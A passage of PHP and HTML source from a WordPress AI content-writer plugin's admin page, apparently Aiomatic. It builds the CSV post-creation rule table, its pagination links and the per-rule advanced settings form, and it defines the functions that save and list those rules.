value="1" checked /> <input type="hidden" name="aiomatic_csv_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_csv_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <br/><?php echo esc_html__("Check some example CSV files you can use:", 'aiomatic-automatic-ai-content-writer') . "<ul><li><a href='https://coderevolution.ro/csv/upload.csv' target='_blank'>" . esc_html__("CSV example file 1 (basic functionality)", 'aiomatic-automatic-ai-content-writer') . "</a></li><li><a href='https://coderevolution.ro/csv/advanced.csv' target='_blank'>" . esc_html__("CSV example file 2 (advanced file with some additional variables)", 'aiomatic-automatic-ai-content-writer') . "</a></li><li><a href='https://coderevolution.ro/csv/nested.csv' target='_blank'>" . esc_html__("CSV example file 3 (advanced file with nested [aicontent] shortcodes", 'aiomatic-automatic-ai-content-writer') . "</a></li></ul><b>" . esc_html__("You can also use Google Drive for CSV file storage:", 'aiomatic-automatic-ai-content-writer') . "</b><ul><li><a href='https://youtu.be/D1ruPVbOTpw' target='_blank'>" . esc_html__("Tutorial video: how to use CSV files upload to Google Drive", 'aiomatic-automatic-ai-content-writer') . "</a></li></ul>";?><br/> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/><?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("CSV AI Post Creator Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/3ZhuTt81F58" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_csv_list'])) { add_action('admin_init', 'aiomatic_save_rules_csv'); } function aiomatic_save_rules_csv($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_csv_list']; $rules = get_option('aiomatic_csv_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['post_title'][0])) { for ($i = 0; $i < sizeof($data2['post_title']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['post_title'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = $data2['post_title'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['random_order'][$i]); $bundle[] = trim($data2['csv_separator'][$i]); $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_csv_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_csv() { if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_csv_list', 'options'); $rules = get_option('aiomatic_csv_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '4') { $posted_items[] = $exp[1]; } } else { $posted_items[] = $rule_id; } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $enable_comments = $array_my_values[7]; $post_title = $array_my_values[8]; $enable_pingback = $array_my_values[9]; $post_format = $array_my_values[10]; $custom_fields = $array_my_values[11]; $custom_tax = $array_my_values[12]; $wpml_lang = $array_my_values[13]; $strip_title = $array_my_values[14]; $title_once = $array_my_values[15]; $min_time = $array_my_values[16]; $max_time = $array_my_values[17]; $skip_spin = $array_my_values[18]; $skip_translate = $array_my_values[19]; $rule_description = $array_my_values[20]; $strip_by_regex = $array_my_values[21]; $replace_regex = $array_my_values[22]; $max_links = $array_my_values[23]; $link_post_types = $array_my_values[24]; $link_type = $array_my_values[25]; $link_list = $array_my_values[26]; $days_no_run = $array_my_values[27]; $overwrite_existing = $array_my_values[28]; $link_nofollow = $array_my_values[29]; $parent_id = $array_my_values[30]; $rule_unique_id = $array_my_values[31]; $remove_default = $array_my_values[32]; $random_order = $array_my_values[33]; $csv_separator = $array_my_values[34]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_csv_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_csv_list[post_title][]" placeholder="CSV file URL" class="cr_width_full">' . htmlspecialchars($post_title) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_csv_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_csv_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"><h3>' . esc_html__('CSV File Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the separator of the CSV file. It is usually auto detected, however, if you have issues with auto detection, you can set the CSV separator here.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("CSV File Separator (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" class="cr_width_full" name="aiomatic_csv_list[csv_separator][]" value="' . esc_attr($csv_separator) . '" placeholder="Optional, leave empty if not sure" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Posting Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Strip Title From Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="strip_title" name="aiomatic_csv_list[strip_title][]"'; if($strip_title == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Spin Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_spin" name="aiomatic_csv_list[skip_spin][]"'; if($skip_spin == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Translate Posts Generated By This Rule", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_translate" name="aiomatic_csv_list[skip_translate][]"'; if($skip_translate == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to randomize CSV row processing order or do you want to process the lines in their order of appearence?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Randomize CSV Row Processing Order", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="random_order" name="aiomatic_csv_list[random_order][]"'; if($random_order == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Process Each Title/Topic Only Once", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="title_once" name="aiomatic_csv_list[title_once][]"'; if($title_once == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Overwrite Existing Posts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="overwrite_existing" name="aiomatic_csv_list[overwrite_existing][]"'; if($overwrite_existing == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_csv_list[strip_by_regex][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Content)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_csv_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Author", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_csv_list[post_author][]" class="cr_width_full">'; $output .= '<option value="rand"'; if ($post_user_name == "rand") { $output .= " selected"; } $output .= '>' . esc_html__("Random user", 'aiomatic-automatic-ai-content-writer') . '</option>'; $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { $output .= '<option value="' . esc_html($user->ID) . '"'; if ($post_user_name == $user->ID) { $output .= " selected"; } $output .= '>' . esc_html($user->display_name) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Status", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_csv_list[submit_status][]" class="cr_width_full"> <option value="pending"'; if ($status == 'pending') { $output .= ' selected'; } $output .= '>' . esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="draft"'; if ($status == 'draft') { $output .= ' selected'; } $output .= '>' . esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="publish"'; if ($status == 'publish') { $output .= ' selected'; } $output .= '>' . esc_html__("Published", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="private"'; if ($status == 'private') { $output .= ' selected'; } $output .= '>' . esc_html__("Private", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="trash"'; if ($status == 'trash') { $output .= ' selected'; } $output .= '>' . esc_html__("Trash", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Item Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_csv_list[default_type][]" class="cr_width_full">'; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } $output .= '<option value="' . esc_attr($post_type) . '"'; if ($def_type == $post_type) { $output .= ' selected'; } $output .= '>' . esc_html($post_type) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__('If your template supports "Post Formats", than you can select one here. If not, leave this at it\'s default value.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Generated Post Format", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" id="post_format" name="aiomatic_csv_list[post_format][]" class="cr_width_full"> <option value="post-format-standard"'; if ($post_format == 'post-format-standard') { $output .= ' selected'; } $output .= '>' . esc_html__("Standard", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-aside"'; if ($post_format == 'post-format-aside') { $output .= ' selected'; } $output .= '>' . esc_html__("Aside", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-gallery"'; if ($post_format == 'post-format-gallery') { $output .= ' selected'; } $output .= '>' . esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="post-format-link"'; if ($post_format == 